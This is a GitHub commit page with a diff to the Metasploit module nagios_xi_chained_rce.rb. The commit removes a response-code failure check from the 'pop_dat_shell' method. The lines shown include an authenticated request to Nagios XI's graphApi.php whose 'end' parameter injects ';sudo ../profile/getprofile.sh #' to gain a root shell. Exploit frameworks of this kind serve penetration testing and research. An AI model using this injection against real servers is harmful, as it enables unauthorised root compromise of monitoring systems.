We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 5f08591 commit 68bd4e2Copy full SHA for 68bd4e2
modules/exploits/linux/http/nagios_xi_chained_rce.rb
@@ -212,7 +212,7 @@ def payload_zip
212
end
213
214
def pop_dat_shell
215
- res = send_request_cgi(
+ send_request_cgi(
216
'method' => 'GET',
217
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
218
'cookie' => @admin_cookie,
@@ -221,10 +221,6 @@ def pop_dat_shell
221
'end' => ';sudo ../profile/getprofile.sh #'
222
}
223
)
224
-
225
- if res && res.code != 200
226
- fail_with(Failure::PayloadFailed, 'Failed to execute root shell! punt!')
227
- end
228
229
230
#
0 commit comments